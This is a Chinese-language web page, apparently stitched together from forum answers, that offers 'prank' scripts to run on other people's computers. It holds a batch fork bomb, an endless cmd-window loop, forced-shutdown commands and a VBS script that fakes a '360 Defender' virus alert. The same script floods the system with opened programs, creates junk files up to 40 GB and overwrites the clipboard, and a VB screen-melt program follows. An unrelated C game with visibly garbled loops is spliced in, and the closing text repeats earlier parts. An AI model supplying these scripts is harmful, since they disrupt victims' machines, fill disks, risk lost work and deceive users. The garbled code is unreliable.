電腦惡搞代碼？代碼如下，復(fù)制到記事本，將txt改為vbs就ok了，中間的字可自己改。if MsgBox("對(duì)不起,您灌水太多需要重新啟動(dòng)計(jì)算機(jī)。"&chr(10)&"確定要重啟嗎？那么，電腦惡搞代碼？一起來(lái)了解一下吧。
如果你感到無(wú)聊，看看下面的吧。整人的東東… 如果你想惡搞別人一下,在記事本中輸入如下內(nèi)容： @echo off start cmd.exe %02 . @echo off:arundll32 desk.cpl, DisplayTestSettingsW goto a 運(yùn)行后會(huì)黑屏！ 3.shutdown -s -t 60 60秒倒計(jì)時(shí)關(guān)機(jī)！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 崩潰！ 5.下面的另存為a.bat @echo off Start a.bat dir c: /s /a
求采納
大量的樓上已經(jīng)說(shuō)了。這個(gè)是本人原創(chuàng)，親測(cè)有用。毒性嘛，就是會(huì)燒CPU，然后在這個(gè)vbs旁邊創(chuàng)建一大堆垃圾文件（請(qǐng)準(zhǔn)備好30G空間）【具體在代碼中】
僅供惡搞娛樂(lè)和研究，沒(méi)有攻擊任何人，組織的意圖。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革廠(chǎng)倒閉了.mp3》請(qǐng)準(zhǔn)備好放在D:\
msgbox "您的電腦已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒：因?yàn)檫@個(gè)游戲涉及非法內(nèi)容，所以您的電腦將在60秒后自動(dòng)關(guān)機(jī)"" ",0,true
qstart.run "cmd.exe /c echo 滾|clip"
A = INPUTBOX ("說(shuō)！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滾”已復(fù)制到剪貼板，可以粘貼。
一個(gè)打飛機(jī)的游戲，DEVc++編譯通過(guò)：
#include
#include
#include
#include
#include
#define zlx 10//增量坐標(biāo)(x)讓游戲框不靠邊
#define zly 3//增量坐標(biāo)(y)讓游戲框不靠邊
#define W 26//游戲框的寬度
#define H 24//游戲框的高度
int jiem[22][22]={0}, wj=10;//界面數(shù)組, 我機(jī)位置(初值為10)
int speed=4,density=30, score=0,death=0; //敵機(jī)速度, 敵機(jī)密度, 玩家成績(jī),死亡次數(shù)
int m=0,n=0;// m,n是控制敵機(jī)的變量
void gtxy (int x, int y)//控制光標(biāo)位置的函數(shù)
{ COORD zb;//zb代指坐標(biāo)
zb.X = x; zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
voidColor(inta) //設(shè)定顏色的函數(shù)(a應(yīng)為1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0)//隱藏光標(biāo)的函數(shù)
{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指光標(biāo), y設(shè)為0即隱藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);
}
void csh( ) //初始化函數(shù)
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下邊兩框角
for(i=2;i for(i=2;i for(i=1;i for(i=1;i Color(14); gtxy(19,2); printf("殲滅敵機(jī)"); Color(10); gtxy(37,5); printf("設(shè)置：Esc "); gtxy(37,7); printf("發(fā)射：↑ "); gtxy(37,9); printf("控制：← → "); gtxy(37,11);printf("得分：%d",score); gtxy(37,13); printf("死亡：%d",death); yinc(1,0); } void qcjm( ) //清除界面函數(shù) { int i,j; for(i=0;i for(j=0;j } void feiji( ) //飛機(jī)移動(dòng)函數(shù) { int i,j; for(i=21;i>=0;i--) //從底行往上是為了避免敵機(jī)直接沖出數(shù)組 for(j=0;j<22;j++) {if(i==21&&jiem[i][j]==3)jiem[i][j]=0; //底行賦值0 以免越界 if(jiem[i][j]==3)jiem[i][j]=0, jiem[i+1][j]=3; } if(jiem[20][wj]==3&&jiem[21][wj]==1) death++; } void zidan( ) //子彈移動(dòng)函數(shù) { int i,j; for(i=0;i<22;i++) for(j=0;j<22;j++) { if(i==0&&jiem[i][j]==2) jiem[i][j]=0; if(jiem[i][j]==2) {if(jiem[i-1][j]==3) score+=100,printf("\7"); jiem[i][j]=0,jiem[i-1][j]=2; } } } void print( ) //輸出界面函數(shù) {int i,j; qcjm( ); for(i=0;i<22;i++) for(j=0;j<22;j++) { gtxy(12+j,4+i); if(jiem[i][j]==3) {Color(13);printf("□");} if(jiem[i][j]==2) {Color(10);printf(".");} if(jiem[i][j]==1) {Color(10);printf("■");} } gtxy(37,11); Color(10); printf("得分：%d",score); gtxy(37,13); printf("死亡：%d",death); } void setting( ) //游戲設(shè)置函數(shù) { qcjm( ); gtxy(12,4);printf("選擇敵機(jī)速度:"); gtxy(12,5);printf(" 1.快 2.中 3.慢>>"); switch(getche( )) {case '1': speed=2; break; case '2': speed=4; break; case '3': speed=5; break; default: gtxy(12,6);printf(" 錯(cuò)誤！默認(rèn)值"); } gtxy(12,7);printf("選擇敵機(jī)密度:"); gtxy(12,8);printf(" 1.大 2.中 3.小>>"); switch(getche( )) {case '1': density=20; break; case '2': density=30;break; case '3': density=40; break; default: gtxy(12,9); printf(" 錯(cuò)誤！默認(rèn)值"); } for(int i=0;i<22;i++) for(int j=0;j<22;j++) jiem[i][j]=0; jiem[21][wj=10]=1; jiem[0][5]=3; gtxy(12,10); printf(" 按任意鍵保存..."); getch( ); qcjm( ); } void run( ) //游戲運(yùn)行函數(shù) { jiem[21][wj]=1; //值為1代表我機(jī)(2則為子彈) jiem[0][5]=3; //值為3代表敵機(jī) SetConsoleTitle("殲滅敵機(jī)"); //設(shè)置窗口標(biāo)題 while(1) {if (kbhit( ))//如有鍵按下，控制我機(jī)左右移動(dòng)、發(fā)射或進(jìn)行設(shè)定 { int key; if((key=getch( ))==224) key=getch( ); switch(key) {case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break; case 77: if(wj<20)jiem[21][wj]=0,jiem[21][++wj]=1;break; case 72: jiem[20][wj]=2; break; case 27: setting( ); } } if(++n%density==0)//控制產(chǎn)生敵機(jī)的速度 { n=0;srand((unsigned)time(NULL)); jiem[0][rand( )%20+1]=3; } if(++m%speed==0) { feiji( ); m=0; } //控制敵機(jī)移動(dòng)速度(相對(duì)子彈而言) zidan( );//子彈移動(dòng) print( );//輸出界面 Sleep(120);//延時(shí)120毫秒 } } int main( ) { csh( ); run( ); return 0; } 電腦桌面融化，這段代碼真的很強(qiáng)悍 ！居然搞的我看不到屏幕 ， 就像雪糕一樣被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function GetDesktopWindow Lib "user32" () As Long Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source Dim x As Integer, y As Integer Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long) Private Sub Form_Load() Me.Hide Desktop = GetWindowDC(GetDesktopWindow()) hBitmap = CreateCompatibleDC(Desktop) hScreen = CreateCompatibleDC(Desktop) Buffer = CreateCompatibleBitmap(Desktop, 32, 32) ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15) SelectObject hBitmap, Buffer SelectObject hScreen, ScreenBuffer BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY For i = 0 To 1E+17 y = (Screen.Height / 15) * Rnd x = (Screen.Width / 15) * Rnd BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY DoEvents Next i End Sub 還有個(gè)殺手锏；一段要人命的vb代碼 -----------------------------------------------聲明--------------------------------------------------------------- ’如果您在沒(méi)有讀懂代碼的情況下請(qǐng)不要生成exe文件運(yùn)行.............否則不要怪我沒(méi)提醒你。 橫線(xiàn)開(kāi)始 ______________________________________________________ ：start start cmd goto start ______________________________________________________ :和start間沒(méi)有空格 這個(gè)代碼可以打開(kāi)無(wú)數(shù)個(gè)cmd窗口，唯一的解決方法是：重啟 以上就是電腦惡搞代碼的全部?jī)?nèi)容，如果你想惡搞別人一下,在記事本中輸入如下內(nèi)容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 運(yùn)行后會(huì)黑屏！ 3.shutdown -s -t 60 60秒倒計(jì)時(shí)關(guān)機(jī)！。
惡搞代碼怎么編寫(xiě)
簡(jiǎn)單的惡搞編程代碼
